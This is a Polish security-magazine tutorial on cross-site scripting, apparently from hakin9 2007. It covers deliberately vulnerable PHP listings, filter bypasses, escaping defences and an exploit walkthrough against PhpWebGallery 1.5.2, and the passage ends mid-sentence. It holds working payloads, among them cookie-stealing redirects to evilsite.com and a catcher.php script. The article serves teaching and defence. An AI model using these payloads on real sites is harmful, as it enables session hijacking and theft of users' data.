background image

www.hakin9.org

hakin9 Nr 5/2007

24

Atak

C

ross-Site Scripting (dalej zwane XSS) 
jest  obecnie  jedną  z  najczęściej  wy-
stępujących podatności witryn na atak. 

Skutkuje  ona  jednocześnie  ogromną  ilością 
exploitów i błędów, omawianych każdego dnia 
na grupach dyskusyjnych dotyczących bezpie-
czeństwa.  Pod  względem  popularności  ustę-
puje  ona  jedynie  niesławnemu  przepełnianiu 
buforu. Mimo że niektórzy ludzie traktują XSS 
jako  mało  wyrafinowaną  technikę,  stosowa-
ną  głównie  przez  początkujących  agresorów 
(script kiddies), może ona być groźna.

Do  przeprowadzenia  ataku  wymagana 

jest  jedynie  przeglądarka,  przy  czym  dobrze 
przygotowany atak wymaga dobrej znajomości 
języków  skryptowych  oraz  zagadnień  dyna-
micznych witryn.

Podstawowym  błędem  umożliwiającym 

przeprowadzenie  ataku  XSS  (podobnie,  jak 
w przypadku przepełnień buforu) jest nieod-
powiednie  filtrowanie  i  sprawdzanie  danych 
przesyłanych przez użytkownika.

Wyobraźmy  sobie  internetową  księgę  go-

ści.  Odwiedzający  jest  proszony  o  pozosta-
wienie w niej wpisu widocznego przez wszyst-
kich. Złośliwy użytkownik może jednak zosta-
wić,  zamiast  wiadomości,  kod  JavaScript.  Jeśli 

skrypt  nie  sprawdza  danych  wprowadzonych 
przez użytkownika pod kątem nieodpowiedniej 
zawartości, do strony zostanie załączony kod, 
który wykona się w przypadku każdego odwie-
dzającego z włączoną obsługą JavaScript.

Niektórzy sądzą, że w ten sposób nie mo-

gą zostać wykradzione żadne istotne informa-
cje, jednak jest to dalekie od prawdy. W wielu 
przypadkach istotne dane, takie jak informacje 
uwierzytelniające czy dane osobiste, mogą być 
przechowywane w ciasteczkach, treści strony, 
bądź  adresie  URL.  We  wszystkich  tych  przy-
padkach  istnieje  możliwość  wykradzenia  ich 
przez atakującego.

XSS – Cross-Site Scripting

Paul Sebastian Ziegler

stopień trudności

Odkąd Internet stał się istotnym elementem życia wielu ludzi, 

bezpieczeństwo witryn stało się kluczowym zagadnieniem dla 

webmasterów. Wstrzykiwanie własnego kodu do zmiennych w 

dynamicznych stronach okazało się bardzo poważnym, ale też 

interesującym zagrożeniem. Na kolejnych stronach niniejszego 

artykułu poznasz zasady działania ataków XSS i dowiesz się, jak 

przeprowadzać je w praktyce.

Z artykułu dowiesz się

•   jak wstrzykiwać kod w podatne na atak witryny,
•   jak omijać podstawowe mechanizmy filtrujące,
•   jak zabezpieczać strony przeciwko atakom XSS.

Co powinieneś wiedzieć

•   podstawy języka HTML,
•   podstawy JavaScript,
•   zasady działania dynamicznych witryn.

background image

Wstrzykiwanie kodu

hakin9 Nr 5/2007

www.hakin9.org

25

Jak  pokazuje  ogromna  liczba 

odnotowanych incydentów, proceder 
ten jest szeroko rozpowszechniony.

Aby  sobie  wyobrazić,  jak  po-

wszechne i łatwe do przeprowadze-
nia jest to działanie, należy uświado-
mić sobie, że podatna na zagrożenie 
jest każda witryna wyświetlająca da-
ne wprowadzone przez użytkownika, 
które nie zostały poddane odpowied-
niemu filtrowaniu.

Mimo  że  zasady  odpowiedniego 

filtrowania  są  znane  od  dosyć  daw-
na, każdego dnia odkrywane są no-
we podatności nawet podstawowych 
i popularnych aplikacji na tego typu 
ataki. Dla przykładu, w ciągu ostat-
nich  dwóch  miesięcy,  ofiarami  ata-
ków  XSS  padły  takie  serwisy  jak 

amanzon.co.jpicq.com oraz MIME-

Sweeper For Web.

Podstawy

Na  początek  przeanalizujmy  skrypt 
PHP widoczny na Listingu 1. By zaob-
serwować  działanie  ataku,  będziesz 
musiał umieścić go na swoim serwe-
rze http. Miej przy tym na uwadze fakt, 
że niektóre serwery http mają wbudo-
waną  i  domyślnie  włączoną  obsługę 
filtrowania  danych  wprowadzanych 
przez  użytkownika,  by  zapobiec  ata-
kom  XSS.  Jeśli  Twój  serwer  oferuje 
taką  funkcjonalność,  do  celów  testo-
wych będziesz musiał ją wyłączyć.

Skieruj  dowolną  przeglądarkę 

pod adres ze skryptem. Ujrzysz for-
mularz z dwoma polami do wprowa-
dzania  tekstu  wraz  z  krótkimi  infor-
macjami.  Jest  to  często  spotykany 
przypadek. To, co wpiszesz w pola, 
zostanie zaprezentowane na kolejnej 
stronie.  Spróbuj  teraz  wprowadzić 
następujący  tekst  do  pola  textarea: 

< s c r i p t > a l e r t( " p o d a t n o ś ć " );
</script>.

Po wysłaniu formularza zobaczysz 

wyskakujący alarm ze słowem podat-

ność, jak to przedstawione jest na Ry-
sunku 1. Gratulujemy, właśnie wstrzyk-
nąłeś kod JavaScript do witryny.

Co się stało

Przyjrzyjmy  się  Listingowi  2,  który 
zawiera  dynamicznie  wygenerowany 
kod  HTML.  Jak  widać,  informacje 
wprowadzone  przez  użytkownika  są 

wklejane bezpośrednio do kodu stro-
ny. Wprowadzając kod skryptowy do 
pola textarea, otrzymamy tym samym 
witrynę  z  naszym  kodem,  obecnym 
w kodzie HTML. Przeglądarka odwie-

dzająca stronę nie będzie wiedziała, 
skąd  pochodzi  kod  i  jakie  było  pier-
wotne  założenie  witryny.  Zinterpre-
tuje  i  wykona  kod  obecny  w  bloku 

<script>

, tak jak to zwykle robi.

Listing 1. 

Podatny skrypt

<?

php

setcookie

(

"xss"

"Ta treść zostanie zawarta w ciasteczku"

)

;

$text

 = 

$_GET

[

'text'

]

;

$title

 = 

$_GET

[

'title'

]

;

   

if

 

(

!

$text

 && !

$title

){

      

echo

 '

      

<

html

>

      

<

head

>

      

<

title

>

XSS-Test | Wpisz wiadomość

<

/title

>

      

<

/head

>

      

<

body

>

      

<

form action=

"example.php"

>

      

<

input type=

"text"

 

name=

"title"

 

value=

"Temat"

><

br 

/

><

br 

/

>

      

<

textarea name=

"text"

 

rows=

"16"

 

cols=

"100"

>

Treść...

      

<

/textarea

><

br 

/

>

      

<

input type=

"submit"

 

name=

"send"

 

value=

"Wyślij wiadomość"

>

      

<

/form

>

      

<

/body

>

      

<

/html

>

';

}
   if (!$text && $title){
      echo '

Musisz wprowadzić wiadomość

<

br 

/

><

a href=

"example.php"

>

Wróć

<

/a

>

';

}

   if (!$title && $text){
      echo '

Musisz wprowadzić tytuł

<

br 

/

><

a href=

"example.php"

>

Wróć

<

/a

>

';

}
   if ($text && $title) {
      echo '

      

<

html

>

      

<

head

>

      

<

title

>

XSS-Test | Nowe wiadomości

<

/title

>

      

<

/head

>

      

<

body

>

      

<

h3

>

Twoje nowe wiadomości:

<

/h3

><

br 

/

>

      

<

b

>

'.$title.'

<

/b

><

br 

/

>

      

'.$text.'

<

/body

><

/html

>

';

}
?>

Rysunek 1. 

Przeglądarka pokazująca alarm

background image

hakin9 Nr 5/2007

www.hakin9.org

Atak

26

Tak wykonany kod będzie działał 

niezależnie od zaimplementowanych 
systemów obronnych strony, niwelu-
jąc sens enkrypcji strumieni i podob-
nych technik.

Analiza skryptu PHP

Przyczyna,  dzięki  której  można 
było  tak  łatwo  przeprowadzić  atak, 
widoczna  jest  po  przyjrzeniu  się 
skryptowi PHP. 

echo '...'.$title.'<br 

/>'.$text.'...';

 nie robi nic więcej po-

za  wyświetleniem  przypisanych  do 
zmiennych  treści,  wysłanych  przez 
użytkownika.
Podobne mechanizmy są spotykane 
w wielu aplikacjach webowych, np.:

•   księgach gości,
•   forach dyskusyjnych,
•   prywatnych wiadomościach,
•   blogach,
•   encyklopediach Wiki

Różnica w stosunku do prawdziwych 
aplikacji  webowych  polega  na  tym, 
że  przechowują  one  wprowadzany 
tekst w bazach danych i wyświetlają 
go na konkretne żądanie. Nie sądź-
my jednak, że tylko aplikacje webo-
we  otrzymujące  bezpośrednie  dane 
od  użytkownika  są  podatne  na  za-
grożenie atakiem. Skrypty mogą być 
także  dołączane  do  niefiltrowanych 
e-maili:  wielu  spośród  poważnych 
dostawców  systemów  webmail  mia-
ło w przeciągu ostatnich lat kłopoty 
z podatnościami na XSS.

Istotne treści

Przypatrzmy  się  jednej  z  najprost-
szych  metod  wykradania  istotnych 
treści. Często takie dane zawarte są 

w  ciasteczkach.  Ciasteczka  z  kolei 
są zazwyczaj używane do przecho-
wywania danych uwierzytelniających 
użytkownika,  identyfikatorów  sesji 
oraz  zahashowanych  zmiennych. 
Inne dane także mogą być cenne dla 
atakującego,  chociażby  ustawienia 
preferencji czy daty logowania.

Skrypt  PHP  umieszcza  ciastecz-

ko  w  Twoim  komputerze.  Spróbujmy 
uzyskać  do  niego  dostęp  przy  pomo-
cy JavaScriptu. Wróćmy do podatnego 
skryptu  PHP  i  tym  razem  wpiszmy  w 
pole textarea 

<script>alert(document.

cookie);</script>

.

Ujrzysz  wiadomość  podobną  do 

tej,  jaką  obrazuje  Rysunek  2.  Poja-
wi  się  okno  alarmowe  ze  słowami 

xss=Ta+treść+zostanie+zawarta-

+w+ciasteczku.  W  tym  wypadku, 

xss to nazwa ciasteczka, zaś Ta+tre-

ść+zostanie+zawarta+w+ciasteczku 
to jego zawartość. Oczywiście, w ten 
sposób  można  odczytać  zawartość 
wielu ciasteczek.

Możemy  więc  wyświetlić  alarm 

z treścią ciasteczka. To jednak nie jest 
jeszcze  niebezpieczne  w  przypadku 
ataku, w najgorszym razie zdenerwuje 
tylko  użytkownika  i  spowoduje  jego 
podejrzenie, że coś nie jest w porząd-
ku.  Jak  zawartość  ciasteczka  może 
zostać przekazana do atakującego?

Jak  zwykle  jest  kilka  sposobów 

osiągnięcia celu. W tym artykule po-
każemy  jedną  z  najbardziej  podsta-
wowych  możliwości.  Przekierujemy 

przeglądarkę  użytkownika  na  inny 
adres, podając zawartość ciasteczka 
jako argument. W tym wypadku, dru-
ga witryna będzie najpewniej skryp-
tem,  który  zapisze  przekazywaną 
treść do bazy danych lub pliku.

Tak  wygląda  teoria,  przejdźmy 

teraz  do  praktyki.  Ponownie  skieruj 
przeglądarkę  do  podatnego  skryp-
tu  PHP.  Do  pola  textarea  wpisz 

<script>document.location="http://
www.evilsite.com/evilscript.php?
info="+document.cookie;</script>

.

Zobaczysz  informację  zbliżoną 

do tej, jaka widoczna jest na Rysun-
ku 3. Przeglądarka przekierowała się 
na witrynę evilsite.com i przekazała 
informacje z ciasteczka. W przypad-
ku rzeczywistego ataku, treść zosta-
łaby właśnie wykradziona.

Proste filtrowanie

Jak  udowodniliśmy,  dynamicznie 
tworzone strony są podatne na ataki 
XSS,  gdy  wyświetlają  treść  podaną 
przez  użytkownika  bez  filtrowania. 
Jak więc zabezpieczyć się przed tego 
typu  atakiem?  W  tej  części  artykułu 
przyjrzymy  się  podstawowym  tech-
nikom  filtrowania  i  omówimy,  w  jaki 
sposób mogą one być ominięte.

Listing  3.  zawiera  ten  sam  skrypt 

PHP, co Listing 1, implementuje jednak 
dodatkową funkcję 

filter()

. Funkcja ta 

przeszukuje  łańcuch  podany  jako  jej 
argument,  usuwając  tagi 

<script>

  i 

</script>

.  Skrypt  stosuje  funkcję 

Rysunek 3. 

Przeglądarka po przekierowaniu na inną stronę

Rysunek 2. 

Przeglądarka wyświetlająca dane z ciasteczka

Listing 2. 

Kod HTML po ataku

<

html

>

<

head

>

<

title

>

XSS-Test | Nowe wiadomości

<

/title

>

<

/head

>

<

body

>

<

h3

>

Twoje nowe wiadomości:

<

/h3

><

br 

/

>

<

b

>

Temat

<

/b

><

br 

/

>

<

script

>

alert("podatność");

<

/script

>

<

/body

>

<

/html

>

background image

Wstrzykiwanie kodu

hakin9 Nr 5/2007

www.hakin9.org

27

filter()

  w  odniesieniu  do  obydwu 

zmiennych,  które  przechowują  dane 
wprowadzone przez użytkownika.

Jeśli  zatem  wytniemy  tagi,  nie 

będziemy  mogli  zastosować  wcze-
śniej zaprezentowanego kodu. Mimo 
wszystko, taki sposób filtrowania nie 
jest bezpieczny. Istnieje co najmniej 
kilka sposobów ominięcia opisanego 
mechanizmu  filtrującego.  Przyjrzyj-
my się im poniżej.

Omijanie 

podstawowego 

filtrowania

Ponieważ  nie  możemy  umieścić  na-
szego kodu w tagach 

<script>

, będzie-

my musieli wkleić go w inne miejsce.

Odnośniki  stają  się  w  tym  mo-

mencie  przydatnym  narzędziem, 
mogą  bowiem  zawierać  kod  Java-
Script,  umożliwiając  webmasterom 
tworzenie  bardziej  dynamicznych 
stron.  Dla  przykładu,  mogą  one 
posłużyć  do  otwierania  niewielkich 
okien,  zawierających  dokładniejszy 
opis  produktu,  lub  przeprowadzać 
bardziej  kompleksowe  akcje  przy 
użyciu frameworka JavaScript.

Skieruj przeglądarkę do poprawio-

nego skryptu PHP. Możesz ustalić, że, 
w istocie, po zastosowaniu filtrowania, 
nie  działa  opisana  przez  nas  wcze-
śniej metoda. Wpiszmy do pola texta-
rea link. Zamiast podawać adres URL, 
wpiszemy  identyfikator 

javascript

:,

zaś  za  nim  –  nasz  kod.  Kompletny 
link  powinien  wyglądać  na  przykład 
tak: 

<a href="javascript:alert('wciąż 

podatny');">Kliknij Mnie!</a>.

Po najechaniu kursorem na link, 

w pasku statusu przeglądarki pojawić 
się powinna treść podobna do tej, ja-
ką  obrazuje  Rysunek  4.  Kliknięcie 
na  odnośnik  spowoduje  wykonanie 
kodu  JavaScript,  co  zaowocuje  wy-
świetleniem  alarmu  wciąż  podatny
Oczywiście, metody wcześniej użyte 
do wykradania zawartości ciastek są 
w tym wypadku także funkcjonalne.

Na pierwszy rzut oka wydaje się, że 

użytkownik nie kliknie na taki odnośnik. 

W końcu będzie on widział kod Java-
Script w pasku statusu przeglądarki, co 
powinno wzbudzić jego podejrzenia.

Z  drugiej  strony,  należy  jednak 

pamiętać  o  tym,  że  większość  In-
ternautów  nie  zna  JavaScriptu,  nie 
wie więc, co stanie się po kliknięciu 
odnośnika.  W  praktyce,  wielu  użyt-
kowników  sieci  nie  jest  nawet  obe-
znanych z koncepcją linkowania.

Dodatkowo, ludzie rzadko spraw-

dzają,  dokąd  link  ich  zaprowadzi. 

Wszyscy ufamy, że otrzymamy treść 
zgodną  z  opisem  odnośnika.  Tak 
więc  istnieje  realna  szansa,  że  link 
opisujący  dokładniejsze  informacje, 
czy informujący o tanich zegarkach, 
zostanie kliknięty.

Nawet  jeśli  użytkownik  nie  naci-

śnie  przycisku,  wciąż  możemy  wy-
konać  kod.  Posłuży  nam  do  tego 
efekt  onmouseover.  Efekty  tego  ro-
dzaju są zaimplementowane w celu
tworzenia  interaktywnych  witryn. 

Listing 3. 

Skrypt PHP z podstawowym filtrowaniem

<?

php

setcookie

(

"xss"

"Ta treść zostanie zawarta w ciasteczku"

)

;

$text

 = 

$_GET

[

'text'

]

;

$title

 = 

$_GET

[

'title'

]

;

function

 filter

(

$input

){

$input

 = 

ereg_replace

(

"

<

script

>

", "", 

$input

);

$input

 = ereg_replace("

<

/script

>

", "

", 

$input

)

;

return

 

$input

;

}

$text

 = filter

(

$text

)

;

$title

 = filter

(

$title

)

;

   

if

 

(

!

$text

 && !

$title

){

      

echo

 '

      

<

html

>

      

<

head

>

      

<

title

>

XSS-Test | Wpisz wiadomość

<

/title

>

      

<

/head

>

      

<

body

>

      

<

form action=

"simple.php"

>

      

<

input type=

"text"

 

name=

"title"

 

value=

"Temat"

><

br 

/

><

br 

/

>

      

<

textarea name=

"text"

 

rows=

"16"

 

cols=

"100"

>

Treść...

      

<

/textarea

><

br 

/

>

      

<

input type=

"submit"

 

name=

"send"

 

value=

"Wyślij wiadomość"

>

      

<

/form

>

      

<

/body

>

      

<

/html

>

';

}
   if (!$text && $title){
      echo '

Musisz wpisać wiadomość

<

br 

/

><

a href=

"simple.php"

>

Wróć

<

/a

>

';

}

   if (!$title && $text){
      echo '

Musisz wpisać tytuł

<

br 

/

><

a href=

"simple.php"

>

Wróć

<

/a

>

';

}
   if ($text && $title) {
      echo '

      

<

html

>

      

<

head

>

      

<

title

>

XSS-Test | Nowa wiadomość

<

/title

>

      

<

/head

>

      

<

body

>

      

<

h3

>

Twoje nowe wiadomości:

<

/h3

><

br 

/

>

      

<

b

>

'.$title.'

<

/b

><

br 

/

>

      

'.$text.'

<

/body

><

/html

>

';

}
?>

Rysunek 4. 

Pasek statusu prze-

glądarki pokazujący kod JavaScript

background image

hakin9 Nr 5/2007

www.hakin9.org

Atak

28

Przykładowo,  jeśli  najedziemy  kur-
sorem na menu, może zmieniać się 
jego wygląd w zależności od pozycji, 
nad którą jest kursor. Do zmiany wy-
glądu służy właśnie efekt onmouse-
over: w przypadku najechania kurso-
rem,  podmieniane  są  grafiki.  Zaim-
plementujmy  więc  opisany  atak.  Do 
poprawionego skryptu wpiszmy:

<a onmouseover="javascript:alert
('podatność bez klikania')">
Przesuń tu kursor!</a>.

Teraz  najedź  kursorem  na  tekst. 
Przeglądarka  wykona  kod,  wyświe-
tlając alarm podatność bez klikania.

Ponieważ  ten  tekst  nie  wygląda 

inaczej niż reszta odnośników, użyt-
kownikowi trudno będzie go odróżnić 
– jest całkiem realna szansa, że na-
jedzie na niego kursorem.

Można  zastosować  kilka  trików, 

by być pewniejszym efektu, np. załą-
czyć więcej tekstu lub grafiki.

W zależności od wyglądu i ukła-

du witryny, powinno to dać ogromne 
szanse na wykonanie Twojego kodu.

Zaawansowane 

filtrowanie

Pokazaliśmy, jak można wkleić do wi-
tryny szkodliwy kod i jak ominąć pod-
stawowe  filtrowanie.  Przyjrzyjmy  się 
teraz  bezpieczniejszemu  sposobo-
wi  ochrony  przeciwko  XSS.  Obronić 
można się przed tego typu atakiem na 
dwa  podstawowe  sposoby:  możemy 
eskejpować wszystkie specjalne zna-
ki  lub  użyć  wyrażeń  regularnych  do 
usunięcia  niebezpiecznych  znaczni-
ków. Oba sposoby mają swoje wady i 
zalety, które przedstawimy w dalszych 
akapitach tego tekstu.

Listing  4.  zawiera  finalną  wersję 

naszego skryptu PHP. Tym razem uży-
wamy funkcji 

htmlentities()

 do eskej-

powania treści wprowadzonych przez 
użytkownika,  zamieniając  wszystkie 
specjalne  znaki  na  ich  odpowiedniki 
w  HTML.  Sekwencje  eskejpujące  są 
używane w celu zamienienia znaków 
specjalnych na kilka określonych zna-
ków standardowych, niwelując proble-
my z różnymi kodowaniami.

Dla przykładu, niemiecka litera Ä 

jest  reprezentowana  przez  sekwen-

cję 

&Auml;

.  Dzięki  temu,  odpowiedni 

znak  zostanie  wyświetlony  nieza-
leżnie  od  tego,  jakiego  kodowania 
używa Twoja przeglądarka. Możemy 
jednak użyć tego systemu także do 
naszych  celów,  bowiem  eskejpowa-
ne  znaki  tylko  wyglądają  jak  znaki, 
które  reprezentują,  nie  posiadają 
jednak ich funkcjonalności.

Przeanalizujmy  to  zagadnienie  w 

oparciu o odpowiedni przykład. Ciągi 

znaków 

<script>

  oraz 

&lt;script&gt

wyglądają  po  przeanalizowaniu  do-
kładnie tak samo, jednak przeglądarka 
inaczej potraktuje ciąg 

<script>

 (jako 

znacznik),  zaś  inaczej 

&lt;script&gt

(jak normalny ciąg znaków).

Mając  to  na  uwadze,  łatwo  od-

kryjemy,  że  jest  to  skuteczna  obro-
na  przeciwko  atakom  XSS  –  cokol-
wiek  wpisze  użytkownik,  zostanie 
to  potraktowane  jak  normalny  ciąg

Metody załączania kodu

Załączanie czystego kodu do podatnej na atak witryny to jedna z wielu możliwości. 
Jak opisano w artykule, kod może być załączony także wewnątrz linków i przy użyciu 
efektów  onmouseover.  Przyjrzyjmy  się  innym  potencjalnym  miejscom  i  technikom 
załączania kodu. Niektóre z nich są zależne od przeglądarki, nie muszą więc działać 
w przypadku Twojej konfiguracji.

<SCRIPT SRC=http://www.evilsite.com/evilcode.js></script>

Dzięki załączaniu skryptów umieszczonych w zewnętrznych plikach możemy ominąć 
zabezpieczenie  określające  maksymalne  rozmiary.  Kod  nie  będzie  też  bezpośrednio 
widoczny w kodzie HTML, przez co będzie trudniejszy do wykrycia. W niektórych przy-
padkach może być zaimplementowany mechanizm blokujący załączanie kodu z innych 
witryn. Należy jednak pamiętać, że rozszerzeniem nie musi wcale być .js.

Jeśli  do  witryny  możemy  załączyć  grafiki,  często  udaje  się  oszukać  aplikację, 

uploadując  plik  harmless.jpg,  lecz  jako  odnośnik  do  grafiki  podając  kod.  Ponieważ 
serwer będzie przechowywał plik, odnośnik będzie traktowany najczęściej jako obiekt 
bezpieczny.  Jeśli  możemy  podać  adres  odnośnika  do  grafiki,  możemy  wkleić  kod 
w następujący sposób:

<img src=”javascript:alert('podatność');”>

W przypadku, gdy filtrowane są apostrofy, możemy użyć ich ekwiwalentów w postaci 
ustalonych ciągów znakowych (HTML entities):

<a href="javascript:alert(&quot;XSS&quot;)">Kliknij!</a>

Poniższa  konstrukcja  pozwala  na  wykonanie  kodu  po  załadowaniu  witryny  (onload). 
Może być ona wykorzystana, jeśli użytkownik ma wpływ na wygląd całej witryny, włącz-
nie z atakiem 

<body>.

<body onload=alert("podatność")>

Przeglądarki oparte o silnik Gecko często wykonują kod, który jest umiejscowiony przed 
nowootwartym tagiem. Spowodowane jest to tym, że zamykają one automatycznie nie-
zamknięte tagi. W poniższym przypadku, link zostanie przypisany do znaku <, co może 
być szczególnie przydatne, jeśli operujemy wewnątrz znacznika.

<a href="javascript:alert('podatność'); <

W  przypadku  otwierania  podstrony  w  znaczniku  iframe,  wykonywany  jest  kod  załą-
czanej strony. W takiej sytuacji strona evilscript.html mogłaby zawierać szkodliwy kod 
atakującego.

<iframe src=http://www.evilsite.com/evilscript.html>

Naturalnie, kod JavaScript może być także przypisany bezpośrednio do znacznika iframe.

<iframe src="javascript:alert('vulnerable');"></iframe>

background image

Wstrzykiwanie kodu

hakin9 Nr 5/2007

www.hakin9.org

29

znaków.  Nie  będziemy  mogli  wyko-
nać kodu – efekt będzie przypominał 
to, co uwidacznia Rysunek 5.

Druga koncepcja jest o wiele prost-

sza do wyjaśnienia. Zamiast zamieniać 
niebezpieczne treści przez eskejpowa-
nie, po prostu je wycinamy. Takimi tre-
ściami mogą być znaczniki 

<script> 

lub 

kod  JavaScript  wewnątrz  odnośników 
itp.  Istotne  jest  zbudowanie  sprawnej 
i kompletnej bazy wyrażeń regularnych 
opisujących  niebezpieczne  treści,  by 
móc je potem usunąć, to jednak zagad-

nienie na osobny artykuł. Jeśli chcesz 
zgłębić wiedzę na ów temat, polecamy 
przejrzenie linków z ramki W Sieci.

Wady obydwu metod

Jak widzimy, istnieją dwie koncepcje 
ochrony  przed  atakami  XSS.  Przyj-
rzymy się, jakie są ich słabe strony.

Eskejpowanie  wszystkich  spe-

cjalnych  znaków  jest  najprostszą 
i najbezpieczniejszą metodą ochrony 
przed atakami XSS. Z drugiej strony, 
postepując  w  ten  sposób,  zabloku-

jemy  możliwość  użycia  wszystkich 
znaków  specjalnych  i  znaczników. 
Spowoduje  to,  że  użytkownik  nie 
będzie mógł używać żadnych tagów 
HTML w swojej treści. Jeśli chcemy 
pozostawić możliwość użycia niektó-
rych  tagów  użytkownikowi,  musimy 
zaimplementować  osobny  interfejs 
do tworzenia np. odnośników.

Wycinanie treści przy użyciu wy-

rażeń  regularnych  nie  wiąże  się  już 
z powyższym mankamentem, ponie-
waż  nie  usuwa  niczego  więcej  po-
za  określonymi  treściami.  Powsta-
je  jednak  przy  tym  zasadniczy  pro-
blem: nowe sposoby ataków i miejsca 
do wklejenia kodu są odkrywane do-
syć często, czasami zmienia się tak-
że  struktura  samego  języka  HTML. 
By zachować bezpieczeństwo, musi-
my utrzymywać aktualne wersje wy-
rażeń  regularnych.  Z  tego  powodu, 
drugi  sposób  obrony  chroni  jedynie 
przed  już  znanymi  sposobami  ataku 
– nasz kod będzie podatny na nowo-
odkryte luki.

Rzeczywistość

Pokazaliśmy  czym  jest  XSS  i  jak 
może  być  przeprowadzony  i  unie-
możliwiony.  Dla  celów  edukacyj-
nych używaliśmy załączonych przy-
kładowych skryptów. Przyjrzymy się 
teraz określonym aplikacjom i możli-
wościom ataków w rzeczywistości.

4 lipca 2006 roku ludzie z Moroc-

can Security Research Team wysła-
li  e-mail  na  listę  mailingową  BUG-
TRAQ.  Zawierał  on  oświadczenie,
w  którym  informowali  oni  o  tym,  że 
znaleźli  podatność  na  atak  XSS  w 
systemach PhpWebGallery w wersji 
1.5.2 i poprzednich.

Problem  leży  w  pliku  com-

ments.php,  który  oferuje  wyświetla-
nie i filtrowanie komentarzy użytkow-
ników, treść wprowadzana w miejsce 
słowa kluczowego nie jest jednak po-
prawnie sprawdzana. Spróbujmy użyć 
tej  podatności,  by  wykraść  ciastko 
użytkownika.

Podatną wersję 1.5.2 można zna-

leźć na dołączonym do pisma CD. Wy-
starczy uruchomić livecd i skierować 
Firefoxa  pod  adres  http://localhost/

phpwebgallery/comments.php.  Mimo 
że wysłany e-mail zawierał kod będą-

Listing 4. 

Skrypt PHP zabezpieczony eskejpowaniem znaków

<?

php

setcookie

(

"xss"

"Ta treść zostanie zawarta w ciasteczku"

)

;

$text

 = 

$_GET

[

'text'

]

;

$title

 = 

$_GET

[

'title'

]

;

function

 escaping

(

$input

){

$input

 = htmlentities

(

$input

)

;

return

 

$input

;

}

$title

 = escaping

(

$title

)

;

$text

 = escaping

(

$text

)

;

   

if

 

(

!

$text

 && !

$title

){

      

echo

 '

      

<

html

>

      

<

head

>

      

<

title

>

XSS-Test | Wpisz wiadomość

<

/title

>

      

<

/head

>

      

<

body

>

      

<

form action=

"advanced.php"

>

      

<

input type=

"text"

 

name=

"title"

 

value=

"Temat"

><

br 

/

><

br 

/

>

      

<

textarea name=

"text"

 

rows=

"16"

 

cols=

"100"

>

Treść...

      

<

/textarea

><

br 

/

>

      

<

input type=

"submit"

 

name=

"send"

 

value=

"Wyślij wiadomość"

>

      

<

/form

>

      

<

/body

>

      

<

/html

>

';

}
   if (!$text && $title){
      echo '

Musisz wpisać wiadomość

<

br 

/

><

a href=

"advanced.php"

>

Wróć

<

/a

>

';

}

   if (!$title && $text){
      echo '

Musisz wpisać tytuł

<

br 

/

><

a href=

"advanced.php"

>

Wróć

<

/a

>

';

}
   if ($text && $title) {
      echo '

      

<

html

>

      

<

head

>

      

<

title

>

XSS-Test | Nowe wiadomości

<

/title

>

      

<

/head

>

      

<

body

>

      

<

h3

>

Twoje nowe wiadomości:

<

/h3

><

br 

/

>

      

<

b

>

'.$title.'

<

/b

><

br 

/

>

      

'.$text.'

<

/body

><

/html

>

';

}
?>

background image

hakin9 Nr 5/2007

www.hakin9.org

Atak

30

cy exploitem, użyjemy tutaj własnego 
kodu do przeprowadzenia ataku.

Wiemy,  że  podatna  na  atak  jest 

zmienna  związana  ze  słowami  klu-
czowymi,  sprawdźmy  więc,  jak  jest 
ona wklejana do kodu HTML. By to 
zrobić, wpiszemy do tego pola jakiś 
ciąg  znaków,  a  następnie  wyszuka-
my go w otrzymanym kodzie HTML. 
W  tym  wypadku,  użyłem  ciągu 

XSScodegoeshere.

 Po wysłaniu formu-

larza,  znajdziemy  ten  ciąg  znaków 
między kodem:

<label>Keyword<input type="text"
 name="keyword"
 value="XSScodegoeshere" />
</label>

Jak  widzimy,  treść,  jaką  wpiszemy 
w polu, jest następnie przypisywana 
do  parametru  value  pola  input  oraz 
otaczana  cudzysłowami.  Z  tego  też 
powodu, pierwsze, z czym się upo-
ramy,  to  wyjście  poza  cudzysłowy  i 
nawiasy znacznikowe. Na szczęście 
dla nas, witryna nie filtruje ciągu “>”, 
więc możemy go użyć.

Spójrzmy,  jak  będzie  wyglądał 

kod  HTML  po  umieszczeniu  powyż-
szych znaków przed naszym ciągiem 
znaków:

<label>Keyword<input type="text"
 name="keyword"
 value="\">XSScodegoeshere" />
</label>

Jak widać, nasz ciąg jest teraz po-
za  cudzysłowami  i  znacznikiem. 
Dzięki  temu,  przeglądarka  potrak-
tuje  go  jako  część  witryny,  któ-
rą  może  zinterpretować.  Ponieważ 
chcemy wykraść ciastko, będziemy 
musieli się najpierw zalogować, by 
takie ciastko otrzymać. Przechodzi-
my więc pod adres http://localhost/

phpwebgallery/ i logujemy się przy 
użyciu  nazwy  admin  oraz  hasła

hakin9.  Następnie  wracamy  na 
stronę z komentarzami.

Mamy już wszystko, co potrzeb-

ne  jest  do  przeprowadzenia  ataku. 

Wiemy,  że  pole  ze  słowami  kluczo-
wymi jest podatne na atak, możemy 
opuścić cudzysłowy i znaczniki, ma-
my także ciastko na twardym dysku.

Zanim  przystąpimy  do  wykra-

dania  ciastka  użytkownika  przez 

Rysunek 6. 

PHPWebGallery alarmujące treścią ciasteczka użytkownika

Rysunek 5. 

Nieskuteczny atak XSS dzięki wykorzystaniu eskejpowania

Tabela 1. 

Najczęściej stosowane sekwencje eskejpujące w HTML

Znak

Sekwencja eskejpująca

" &#34;

&

& &#38;

+

&#43;

<

< &#60;

>

> &#62;

=

&#61;

\

&#92;

[

&#91;

]

&#93;

^

&#94;

{

&#123;

}

&#125;

Listing 5. 

Skrypt PHP 

zapisujący przekazany 

argument do pliku

<?

php

$file

 = 

fopen

(

"pwsave.txt"

,

"w"

)

;

fwrite

(

$file

$_GET

[

pw

])

;

fclose

(

$file

)

;

?>

background image

Wstrzykiwanie kodu

hakin9 Nr 5/2007

www.hakin9.org

31

przekierowanie  go  do  szkodliwej 
strony,  sprawdźmy,  czy  nasz  kod 
zadziała w przypadku alarmu. Uży-
jemy ciągu:

"><script>alert(document.cookie)
</script>

Ujrzysz  obraz  podobny  do  tego,
jaki  widać  na  Rysunku  6.  –  cia-
steczko  najwyraźniej  przechowu-
je  identyfikator  sesji  użytkownika. 
Sfinalizujmy  atak:  przekierujemy 
użytkownika  do  witryny,  która  za-
pisze treść przekazanego jej para-
metru do pliku.

Taki skrypt znajduje się także na 

hakin9-livecd, znajdziesz go pod na-
zwą catcher.php. Do przekierowania 
użyjemy  funkcji  document.location
dołączając treść ciasteczka.

“><script>document.location =
 “http://localhost/catcher.php?pw=”
+document.cookie</script>

Po wysłaniu takiej treści w formula-
